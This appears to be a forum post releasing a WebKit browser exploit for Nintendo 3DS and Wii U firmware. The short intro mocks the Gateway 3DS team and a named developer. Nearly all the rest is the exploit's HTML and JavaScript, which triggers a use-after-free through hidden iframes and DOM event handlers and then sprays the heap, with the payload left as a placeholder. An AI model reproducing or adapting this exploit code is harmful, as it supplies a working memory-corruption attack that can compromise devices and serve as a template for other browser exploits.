- Too bad that they take too long to figure out how make their Payload working.
- This is a working Webkit Exploit for N3DS/3DS/etc.. up to 9.5.
- I make it more simple, actually iframe display none help ;)
- It also work on Wii U up to 5.3.2 by using User Agent Nintendo 3DS
- Now hopefully devs or this shit team called Gateway 3DS will figure out how their own payload work.
- Special message to MathewE, do you really think that you are the only one who can work with this ?
- I know how you false bug work, including Miiplaza and co, you are late on the party.
- <html>
- <head>
- <style> body {color:blue;background:black;} iframe {display:none;} h1 {text-align:center;}
- </style>
- <script>
- if(parent==window) {
- window.onload = function() {
- document.body.innerHTML += "<iframe src='#' />";
- };
- } else if(navigator.userAgent.indexOf('Nintendo 3DS') != -1) {
- var nb = 0;
- window.onload = function () {
- f = window.frameElement;
- p = f.parentNode;
- var o = document.createElement("object");
- o.addEventListener('beforeload', function () {
- if (++nb == 1) {
- p.addEventListener('DOMSubtreeModified', parent.dsm, false);
- } else if (nb == 2) {
- p.removeChild(f);
- }
- }, false);
- document.body.appendChild(o);
- };
- }
- function magicfun(mem, size, v) {
- var a = new Array(size - 20);
- nv = v + unescape("%ucccc");
- for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
- var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
- mem.push(t);
- }
- function dsm(e) {
- var mem = [];
- for (var j = 20; j < 430; j++)
- magicfun(mem, j, unescape("payload"));
- }
- </script>
- </head>
- <body>
- </body>
- </html>
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